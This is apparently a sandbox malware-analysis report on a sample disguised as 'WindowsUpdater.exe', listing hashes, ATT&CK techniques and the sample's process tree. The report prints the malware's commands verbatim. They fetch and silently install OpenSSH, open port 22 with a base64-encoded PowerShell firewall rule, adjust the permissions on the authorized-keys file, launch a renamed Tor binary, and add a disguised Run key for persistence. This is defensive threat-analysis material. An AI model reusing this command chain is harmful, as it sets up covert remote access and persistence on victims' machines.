0f277b5c86588aaa07adad7b0015dab4650a99b8ed2043d72cd9e757e228fdef

Analysis

max time kernel
93s
max time network
108s
platform
windows10-2004_x64
resource
win10v2004-20240221-en
resource tags

arch:x64arch:x86image:win10v2004-20240221-enlocale:en-usos:windows10-2004-x64system
submitted
24/02/2024, 15:47

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
WindowsUpdater.exe
Size 11.1MB
Sample240224-s792aagg2w
SHA256 0f277b5c86588aaa07adad7b0015dab4650a99b8ed2043d72cd9e757e228fdef
MD5 ee3bb07de1ce6353ffde5bff9051a8c9
SHA1 21313abb2e99fa890209c361854e23682b7d1bdf
SHA512 22af88c6b16d7bcf07a08a7fc62ebdc0c57e4b5c46cd72b1f62530a7c00060e54ff502d7a3968d83685b74796cf511fe16e395eeae4991307caae2a9fb20d846
SSDEEP 196608:9WyDIJIlBwmDHWcWRX78sqBA1HeT39IigQ7vKub75bcjWgbkzf9AkjLWlFjt:dDIJIThZWJ8fq1+TtIiL7vB5IjWqkzjI
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

discovery persistence

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
28	1872	powershell.exe
30	1872	powershell.exe

Executes dropped EXE 6 IoCs

pid	Process
4392	ssh-agent.exe
2944	sshd.exe
2120	ssh-keygen.exe
4744	sshd.exe
4468	ssh-keygen.exe
1316	WindowsUpdate.exe

Loads dropped DLL 32 IoCs

pid	Process
4900	WindowsUpdater.exe
4900	WindowsUpdater.exe
4900	WindowsUpdater.exe
4900	WindowsUpdater.exe
4900	WindowsUpdater.exe
4900	WindowsUpdater.exe
4900	WindowsUpdater.exe
4900	WindowsUpdater.exe
4900	WindowsUpdater.exe
4900	WindowsUpdater.exe
4900	WindowsUpdater.exe
4900	WindowsUpdater.exe
4900	WindowsUpdater.exe
4900	WindowsUpdater.exe
4900	WindowsUpdater.exe
2992	MsiExec.exe
2992	MsiExec.exe
2992	MsiExec.exe
2992	MsiExec.exe
2992	MsiExec.exe
2992	MsiExec.exe
3552	MsiExec.exe
3552	MsiExec.exe
3552	MsiExec.exe
3552	MsiExec.exe
3552	MsiExec.exe
3552	MsiExec.exe
4392	ssh-agent.exe
2944	sshd.exe
2120	ssh-keygen.exe
4744	sshd.exe
4468	ssh-keygen.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
816	icacls.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1790404759-2178872477-2616469472-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RealtekSoundDriver = "C:\\Users\\Admin\\AppData\\Local\\WindowsSoundDriver\\WindowsUpdater.exe"	WindowsUpdater.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
54	discord.com
46	discord.com
47	discord.com

Drops file in Program Files directory 25 IoCs

description	ioc	Process
File created	C:\Program Files\OpenSSH\LICENSE.txt	msiexec.exe
File created	C:\Program Files\OpenSSH\OpenSSHUtils.psm1	msiexec.exe
File created	C:\Program Files\OpenSSH\ssh-pkcs11-helper.exe	msiexec.exe
File created	C:\Program Files\OpenSSH\ssh.exe	msiexec.exe
File created	C:\Program Files\OpenSSH\NOTICE.txt	msiexec.exe
File created	C:\Program Files\OpenSSH\OpenSSHUtils.psd1	msiexec.exe
File created	C:\Program Files\OpenSSH\FixUserFilePermissions.ps1	msiexec.exe
File created	C:\Program Files\OpenSSH\sftp-server.exe	msiexec.exe
File created	C:\Program Files\OpenSSH\ssh-keyscan.exe	msiexec.exe
File created	C:\Program Files\OpenSSH\ssh-add.exe	msiexec.exe
File created	C:\Program Files\OpenSSH\sshd.exe	msiexec.exe
File created	C:\Program Files\OpenSSH\sshd_config_default	msiexec.exe
File created	C:\Program Files\OpenSSH\FixHostFilePermissions.ps1	msiexec.exe
File created	C:\Program Files\OpenSSH\openssh-events.man	msiexec.exe
File created	C:\Program Files\OpenSSH\sftp.exe	msiexec.exe
File created	C:\Program Files\OpenSSH\ssh-shellhost.exe	msiexec.exe
File created	C:\Program Files\OpenSSH\ssh-sk-helper.exe	msiexec.exe
File opened for modification	C:\Program Files\OpenSSH\openssh-events.man	MsiExec.exe
File created	C:\Program Files\OpenSSH\_manifest\spdx_2.2\manifest.spdx.json.sha256	msiexec.exe
File created	C:\Program Files\OpenSSH\scp.exe	msiexec.exe
File created	C:\Program Files\OpenSSH\ssh-agent.exe	msiexec.exe
File created	C:\Program Files\OpenSSH\_manifest\spdx_2.2\manifest.spdx.json	msiexec.exe
File created	C:\Program Files\OpenSSH\libcrypto.dll	msiexec.exe
File created	C:\Program Files\OpenSSH\moduli	msiexec.exe
File created	C:\Program Files\OpenSSH\ssh-keygen.exe	msiexec.exe

Drops file in Windows directory 21 IoCs

description	ioc	Process
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9328.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9338.tmp	msiexec.exe
File created	C:\Windows\Installer\e578e65.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{75CC4F13-D9D7-45EE-A061-C367C19DC8D0}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9ABB.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9BE6.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9CB3.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9E79.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA551.tmp	msiexec.exe
File created	C:\Windows\Installer\wix{75CC4F13-D9D7-45EE-A061-C367C19DC8D0}.SchedServiceConfig.rmi	MsiExec.exe
File opened for modification	C:\Windows\Installer\e578e65.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIB850.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9C45.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA3CA.tmp	msiexec.exe
File created	C:\Windows\Installer\e578e69.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9B1A.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIB706.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIB7A3.tmp	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3992	sc.exe
2292	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\22\52C64B7E	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\23	msiexec.exe

Modifies registry class 23 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\31F4CC577D9DEE540A163C761CD98C0D\Assignment = "1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\31F4CC577D9DEE540A163C761CD98C0D\InstanceType = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\39D0D9E9D07E4244DADBDAB322A622D6	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\31F4CC577D9DEE540A163C761CD98C0D\SourceList	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\31F4CC577D9DEE540A163C761CD98C0D\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\31F4CC577D9DEE540A163C761CD98C0D\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\31F4CC577D9DEE540A163C761CD98C0D\ProductName = "OpenSSH"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\31F4CC577D9DEE540A163C761CD98C0D\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\31F4CC577D9DEE540A163C761CD98C0D\Version = "151322624"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\31F4CC577D9DEE540A163C761CD98C0D\AuthorizedLUAApp = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\39D0D9E9D07E4244DADBDAB322A622D6\31F4CC577D9DEE540A163C761CD98C0D	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\31F4CC577D9DEE540A163C761CD98C0D\SourceList\PackageName = "OPENSSH.msi"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\31F4CC577D9DEE540A163C761CD98C0D\PackageCode = "59F8CE53B8029C94CA0A728A9AD8952D"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\31F4CC577D9DEE540A163C761CD98C0D	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\31F4CC577D9DEE540A163C761CD98C0D\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\31F4CC577D9DEE540A163C761CD98C0D\SourceList\Media\1 = ";"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\31F4CC577D9DEE540A163C761CD98C0D\Client	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\31F4CC577D9DEE540A163C761CD98C0D\Server	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\31F4CC577D9DEE540A163C761CD98C0D\AdvertiseFlags = "388"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\31F4CC577D9DEE540A163C761CD98C0D\DeploymentFlags = "3"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\31F4CC577D9DEE540A163C761CD98C0D\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\31F4CC577D9DEE540A163C761CD98C0D\Clients = 3a0000000000	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\31F4CC577D9DEE540A163C761CD98C0D	msiexec.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
1872	powershell.exe
1872	powershell.exe
4820	msiexec.exe
4820	msiexec.exe
3876	powershell.exe
3876	powershell.exe
2760	powershell.exe
2760	powershell.exe
1948	powershell.exe
1948	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1872	powershell.exe
Token: SeShutdownPrivilege	1820	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1820	msiexec.exe
Token: SeSecurityPrivilege	4820	msiexec.exe
Token: SeCreateTokenPrivilege	1820	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	1820	msiexec.exe
Token: SeLockMemoryPrivilege	1820	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1820	msiexec.exe
Token: SeMachineAccountPrivilege	1820	msiexec.exe
Token: SeTcbPrivilege	1820	msiexec.exe
Token: SeSecurityPrivilege	1820	msiexec.exe
Token: SeTakeOwnershipPrivilege	1820	msiexec.exe
Token: SeLoadDriverPrivilege	1820	msiexec.exe
Token: SeSystemProfilePrivilege	1820	msiexec.exe
Token: SeSystemtimePrivilege	1820	msiexec.exe
Token: SeProfSingleProcessPrivilege	1820	msiexec.exe
Token: SeIncBasePriorityPrivilege	1820	msiexec.exe
Token: SeCreatePagefilePrivilege	1820	msiexec.exe
Token: SeCreatePermanentPrivilege	1820	msiexec.exe
Token: SeBackupPrivilege	1820	msiexec.exe
Token: SeRestorePrivilege	1820	msiexec.exe
Token: SeShutdownPrivilege	1820	msiexec.exe
Token: SeDebugPrivilege	1820	msiexec.exe
Token: SeAuditPrivilege	1820	msiexec.exe
Token: SeSystemEnvironmentPrivilege	1820	msiexec.exe
Token: SeChangeNotifyPrivilege	1820	msiexec.exe
Token: SeRemoteShutdownPrivilege	1820	msiexec.exe
Token: SeUndockPrivilege	1820	msiexec.exe
Token: SeSyncAgentPrivilege	1820	msiexec.exe
Token: SeEnableDelegationPrivilege	1820	msiexec.exe
Token: SeManageVolumePrivilege	1820	msiexec.exe
Token: SeImpersonatePrivilege	1820	msiexec.exe
Token: SeCreateGlobalPrivilege	1820	msiexec.exe
Token: SeRestorePrivilege	4820	msiexec.exe
Token: SeTakeOwnershipPrivilege	4820	msiexec.exe
Token: SeRestorePrivilege	4820	msiexec.exe
Token: SeTakeOwnershipPrivilege	4820	msiexec.exe
Token: SeRestorePrivilege	4820	msiexec.exe
Token: SeTakeOwnershipPrivilege	4820	msiexec.exe
Token: SeRestorePrivilege	4820	msiexec.exe
Token: SeTakeOwnershipPrivilege	4820	msiexec.exe
Token: SeRestorePrivilege	4820	msiexec.exe
Token: SeTakeOwnershipPrivilege	4820	msiexec.exe
Token: SeRestorePrivilege	4820	msiexec.exe
Token: SeTakeOwnershipPrivilege	4820	msiexec.exe
Token: SeRestorePrivilege	4820	msiexec.exe
Token: SeTakeOwnershipPrivilege	4820	msiexec.exe
Token: SeRestorePrivilege	4820	msiexec.exe
Token: SeTakeOwnershipPrivilege	4820	msiexec.exe
Token: SeRestorePrivilege	4820	msiexec.exe
Token: SeTakeOwnershipPrivilege	4820	msiexec.exe
Token: SeRestorePrivilege	4820	msiexec.exe
Token: SeTakeOwnershipPrivilege	4820	msiexec.exe
Token: SeRestorePrivilege	4820	msiexec.exe
Token: SeTakeOwnershipPrivilege	4820	msiexec.exe
Token: SeRestorePrivilege	4820	msiexec.exe
Token: SeTakeOwnershipPrivilege	4820	msiexec.exe
Token: SeRestorePrivilege	4820	msiexec.exe
Token: SeTakeOwnershipPrivilege	4820	msiexec.exe
Token: SeSecurityPrivilege	1472	wevtutil.exe
Token: SeBackupPrivilege	1472	wevtutil.exe
Token: SeSecurityPrivilege	1276	wevtutil.exe
Token: SeBackupPrivilege	1276	wevtutil.exe
Token: SeRestorePrivilege	4820	msiexec.exe

Suspicious use of WriteProcessMemory 53 IoCs

description	pid	Process	procid_target
PID 5028 wrote to memory of 4900	5028	WindowsUpdater.exe	87
PID 5028 wrote to memory of 4900	5028	WindowsUpdater.exe	87
PID 4900 wrote to memory of 3408	4900	WindowsUpdater.exe	90
PID 4900 wrote to memory of 3408	4900	WindowsUpdater.exe	90
PID 3408 wrote to memory of 1872	3408	cmd.exe	92
PID 3408 wrote to memory of 1872	3408	cmd.exe	92
PID 4900 wrote to memory of 1580	4900	WindowsUpdater.exe	94
PID 4900 wrote to memory of 1580	4900	WindowsUpdater.exe	94
PID 1580 wrote to memory of 1820	1580	cmd.exe	96
PID 1580 wrote to memory of 1820	1580	cmd.exe	96
PID 4820 wrote to memory of 2992	4820	msiexec.exe	99
PID 4820 wrote to memory of 2992	4820	msiexec.exe	99
PID 4820 wrote to memory of 2992	4820	msiexec.exe	99
PID 4820 wrote to memory of 3552	4820	msiexec.exe	100
PID 4820 wrote to memory of 3552	4820	msiexec.exe	100
PID 4820 wrote to memory of 3552	4820	msiexec.exe	100
PID 3552 wrote to memory of 1472	3552	MsiExec.exe	101
PID 3552 wrote to memory of 1472	3552	MsiExec.exe	101
PID 3552 wrote to memory of 1472	3552	MsiExec.exe	101
PID 1472 wrote to memory of 1276	1472	wevtutil.exe	103
PID 1472 wrote to memory of 1276	1472	wevtutil.exe	103
PID 3552 wrote to memory of 3992	3552	MsiExec.exe	104
PID 3552 wrote to memory of 3992	3552	MsiExec.exe	104
PID 3552 wrote to memory of 3992	3552	MsiExec.exe	104
PID 3552 wrote to memory of 2292	3552	MsiExec.exe	106
PID 3552 wrote to memory of 2292	3552	MsiExec.exe	106
PID 3552 wrote to memory of 2292	3552	MsiExec.exe	106
PID 2944 wrote to memory of 2120	2944	sshd.exe	110
PID 2944 wrote to memory of 2120	2944	sshd.exe	110
PID 4900 wrote to memory of 5036	4900	WindowsUpdater.exe	114
PID 4900 wrote to memory of 5036	4900	WindowsUpdater.exe	114
PID 5036 wrote to memory of 3876	5036	cmd.exe	116
PID 5036 wrote to memory of 3876	5036	cmd.exe	116
PID 4900 wrote to memory of 4716	4900	WindowsUpdater.exe	118
PID 4900 wrote to memory of 4716	4900	WindowsUpdater.exe	118
PID 4716 wrote to memory of 2760	4716	cmd.exe	119
PID 4716 wrote to memory of 2760	4716	cmd.exe	119
PID 4900 wrote to memory of 2784	4900	WindowsUpdater.exe	121
PID 4900 wrote to memory of 2784	4900	WindowsUpdater.exe	121
PID 2784 wrote to memory of 816	2784	cmd.exe	123
PID 2784 wrote to memory of 816	2784	cmd.exe	123
PID 4900 wrote to memory of 764	4900	WindowsUpdater.exe	124
PID 4900 wrote to memory of 764	4900	WindowsUpdater.exe	124
PID 764 wrote to memory of 1948	764	cmd.exe	126
PID 764 wrote to memory of 1948	764	cmd.exe	126
PID 4744 wrote to memory of 4468	4744	sshd.exe	128
PID 4744 wrote to memory of 4468	4744	sshd.exe	128
PID 4900 wrote to memory of 4804	4900	WindowsUpdater.exe	130
PID 4900 wrote to memory of 4804	4900	WindowsUpdater.exe	130
PID 4804 wrote to memory of 1316	4804	cmd.exe	132
PID 4804 wrote to memory of 1316	4804	cmd.exe	132
PID 4900 wrote to memory of 4000	4900	WindowsUpdater.exe	133
PID 4900 wrote to memory of 4000	4900	WindowsUpdater.exe	133

C:\Users\Admin\AppData\Local\Temp\WindowsUpdater.exe
"C:\Users\Admin\AppData\Local\Temp\WindowsUpdater.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5028
- C:\Users\Admin\AppData\Local\Temp\WindowsUpdater.exe
  "C:\Users\Admin\AppData\Local\Temp\WindowsUpdater.exe"
  2⤵
  - Loads dropped DLL
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:4900
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -c "Invoke-WebRequest 'https://github.com/PowerShell/Win32-OpenSSH/releases/download/v9.5.0.0p1-Beta/OpenSSH-Win64-v9.5.0.0.msi' -o OPENSSH.msi""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3408
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -c "Invoke-WebRequest 'https://github.com/PowerShell/Win32-OpenSSH/releases/download/v9.5.0.0p1-Beta/OpenSSH-Win64-v9.5.0.0.msi' -o OPENSSH.msi"
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1872
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "msiexec /q /i OPENSSH.msi"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1580
  - - C:\Windows\system32\msiexec.exe
      msiexec /q /i OPENSSH.msi
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1820
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -c "Start-Service sshd""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5036
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -c "Start-Service sshd"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3876
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "$command = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('TmV3LU5ldEZpcmV3YWxsUnVsZSAtTmFtZSBzc2hkIC1EaXNwbGF5TmFtZSAnT3BlblNTSCBTU0ggU2VydmVyJyAtRW5hYmxlZCBUcnVlIC1EaXJlY3Rpb24gSW5ib3VuZCAtUHJvdG9jb2wgVENQIC1BY3Rpb24gQWxsb3cgLUxvY2FsUG9ydCAyMiAtUHJvZ3JhbSAnQzpcUHJvZ3JhbSBGaWxlc1xPcGVuU1NIXHNzaGQuZXhlJw==')); Invoke-Expression $command""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4716
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$command = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('TmV3LU5ldEZpcmV3YWxsUnVsZSAtTmFtZSBzc2hkIC1EaXNwbGF5TmFtZSAnT3BlblNTSCBTU0ggU2VydmVyJyAtRW5hYmxlZCBUcnVlIC1EaXJlY3Rpb24gSW5ib3VuZCAtUHJvdG9jb2wgVENQIC1BY3Rpb24gQWxsb3cgLUxvY2FsUG9ydCAyMiAtUHJvZ3JhbSAnQzpcUHJvZ3JhbSBGaWxlc1xPcGVuU1NIXHNzaGQuZXhlJw==')); Invoke-Expression $command"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2760
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\ProgramData\ssh\administrators_authorized_keys" /inheritance:r /grant "Administrators:F" /grant "SYSTEM:F""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2784
  - - C:\Windows\system32\icacls.exe
      icacls "C:\ProgramData\ssh\administrators_authorized_keys" /inheritance:r /grant "Administrators:F" /grant "SYSTEM:F"
      4⤵
      Modifies file permissions
      PID:816
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -c "Restart-Service sshd""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:764
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -c "Restart-Service sshd"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1948
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WindowsUpdate.exe -f C:\Users\Admin\AppData\Local\Temp\tossh\torrc"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4804
  - - C:\Users\Admin\AppData\Local\Temp\_MEI50282\WindowsUpdate.exe
      WindowsUpdate.exe -f C:\Users\Admin\AppData\Local\Temp\tossh\torrc
      4⤵
      Executes dropped EXE
      PID:1316
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "type hostname"
    3⤵
    PID:4000

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4820
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding CDA719C3AC6140A87EC6885A1203B634
  2⤵
  - Loads dropped DLL
  PID:2992
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 0A9009E9859FE02AA861C055EC207B80 E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Drops file in Program Files directory
  - Drops file in Windows directory
  - Suspicious use of WriteProcessMemory
  PID:3552
- - C:\Windows\SysWOW64\wevtutil.exe
    "wevtutil.exe" im "C:\Program Files\OpenSSH\openssh-events.man"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1472
  - - C:\Windows\System32\wevtutil.exe
      "wevtutil.exe" im "C:\Program Files\OpenSSH\openssh-events.man" /fromwow64
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1276
- - C:\Windows\SysWOW64\sc.exe
    "C:\Windows\SysWOW64\sc.exe" privs ssh-agent SeAssignPrimaryTokenPrivilege/SeTcbPrivilege/SeBackupPrivilege/SeRestorePrivilege/SeImpersonatePrivilege
    3⤵
    - Launches sc.exe
    PID:3992
- - C:\Windows\SysWOW64\sc.exe
    "C:\Windows\SysWOW64\sc.exe" privs sshd SeAssignPrimaryTokenPrivilege/SeTcbPrivilege/SeBackupPrivilege/SeRestorePrivilege/SeImpersonatePrivilege
    3⤵
    - Launches sc.exe
    PID:2292

C:\Program Files\OpenSSH\ssh-agent.exe
"C:\Program Files\OpenSSH\ssh-agent.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4392

C:\Program Files\OpenSSH\sshd.exe
"C:\Program Files\OpenSSH\sshd.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2944
- C:\Program Files\OpenSSH\ssh-keygen.exe
  ssh-keygen -A
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2120

C:\Program Files\OpenSSH\sshd.exe
"C:\Program Files\OpenSSH\sshd.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:4744
- C:\Program Files\OpenSSH\ssh-keygen.exe
  ssh-keygen -A
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:4468

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e578e68.rbs

Path C:\Config.Msi\e578e68.rbs
Size 564KB
SHA256 cf679bcd3588d7deec2c15fbf18654f5f7c2c0743406f3637545cca694997a36
MD5 1fcb82245940b95ebd1c35f699e0cdd5
SHA1 0f8fc7f8af785bfa1e322ed02b7953a8da2592b7
SHA512 bc58e3b98c6a470b979bd4829a075dfc6bc87ebf3008f4b4f29cb4bebb85a7602f0b5bbda55c7711a21a2a312dab14a03ffe0cc9a1556a7e84ffcffe057b4da1
SSDEEP 12288:xqujnzh85jt3jOZy2KsGU6a4Ks7t3jOZy2KsGU6a4Kst:xv65xzOE2Z34KOzOE2Z34KA
MD5 SHA1 SHA512 SSDEEP

Submit Download

libcrypto.dll

Path C:\Program Files\OpenSSH\libcrypto.dll
Size 1.8MB
SHA256 065d3a16b418dfe5647c56c8a1787ac540b13299bdf35f69e9980525804cb9ab
MD5 bfb07109da9eef8ecb8e4360a56b1641
SHA1 d71484f8f0b8fe26222677597d04ad61dd68291f
SHA512 7b8a392e6e9f82c81d5b76e7a171ca4de133b417914dd8c5e21102764f61fc6da2901bdcc601cabf0ee2ddc242c9e0e40df90a94c5b403d0785d20efff6c9654
SSDEEP 49152:RiYeMEx5Hn+aNK0bWPFTpU+ivStjRfTNOS/UzuDAPxzIbdbZnR1CPwDv3uFvXDRB:RJKx5KzU+JPR/UqkzIbdbVR1CPwDv3uF
MD5 SHA1 SHA512 SSDEEP

Submit Download

openssh-events.man

Path C:\Program Files\OpenSSH\openssh-events.man
Size 3KB
SHA256 c36019e53e3045cba2639bf35ed1e2498e3563b272533e53301165c31ab60199
MD5 6f47343492511be4640feea169844855
SHA1 39f0e1c5fdf3f456eeaf9f1a5696a7ca64617f86
SHA512 27e615c2e2363245c2350d9862400f9644f2068c0490c0c7a29142fc44f6c6cdc1ee3218c60a10b80871bae9ef2fe22e2bea20d8b90357bf28f77c6e18debc83
MD5 SHA1 SHA512

Submit Download

openssh-events.man

Path C:\Program Files\OpenSSH\openssh-events.man
Size 3KB
SHA256 0ccb40842417f63a2aed9f41507fb8215c42b815556f16913add175f82c79b86
MD5 f7adf8097a1336dd95a697b2f03506c5
SHA1 ad2ddd36e5ecb5241c1c57c7efafb8e22fe3bc71
